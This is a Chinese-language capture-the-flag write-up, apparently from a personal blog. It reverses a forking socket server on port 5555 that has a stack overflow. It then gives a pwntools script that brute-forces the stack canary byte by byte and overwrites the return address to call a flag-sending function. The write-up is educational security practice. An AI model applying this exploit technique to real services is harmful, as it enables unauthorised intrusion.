省流：Canary爆破，顺便复习了一下Linux socket API，还知道了IDA View下右键数值常量可以查找对应的枚举名（前提是要指知道枚举名的开头）（比如AF_INET、SOCK_STREAM等）。

程序逆向

一开始程序创建了一个监听套接字，逆向得到逻辑大致如下：

1
2
3
4
5
6
7
8
9
static struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5555);
addr.sin_addr.s_addr = htonl(0);    // 0.0.0.0

static int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(listen_fd, ...);
bind(listen_fd, &addr, 0x10);
listen(listen_fd, 0x400);

创建完毕后，主进程进入 accept-fork-close 循环。
而 fork 出的子进程会调用函数 sub_400BE9 从套接字读取输入（存在栈溢出），如果正常返回，会向套接字发送 “Message received!\n” 然后退出。

漏洞利用

程序一开始会把 flag 读到 bss 段的 602160 处，还有一个 sub_400bc6 函数会把这个 flag 直接发给套接字。（出题人真友好）
因此这题的漏洞利用逻辑就是经典的利用子进程 canary 不变的特点爆破出 canary，然后 ret2text。

解题脚本

学习了下 try-catch-finally 的结构，以及脚本写成模块化的思想。注意在 try 当中尝试接受套接字的消息，但是由于此时服务器已经关闭套接字，所以这里会引起 EOFexception，跳到 except。
finally 中的代码不论如何都会被执行，非常适合用来关闭文件、关闭套接字等操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def leak_canary():
    global canary
    canary = b"\x00"
    p = log.progress('Canary BruteForce')
    while len(canary) < 8:
        for ch in range(0xff):
            io = remote("127.0.0.1", 5555, level="critical")
            io.recv()
            io.send(b"a"*0x68 + canary + pack(ch, 8))
            try:
                io.recv()
                canary += pack(ch, 8)
                break
            except:
                continue
            finally:
                io.close()
        p.status(repr(canary))

    p.success(repr(canary))
        
def pwn():
    io = remote("127.0.0.1", 5555)
    io.send(b"a"*0x68 + canary + b'a'*8 + pack(0x400bc6))
    io.interactive()

if __name__ == '__main__':
    leak_canary()
    pwn()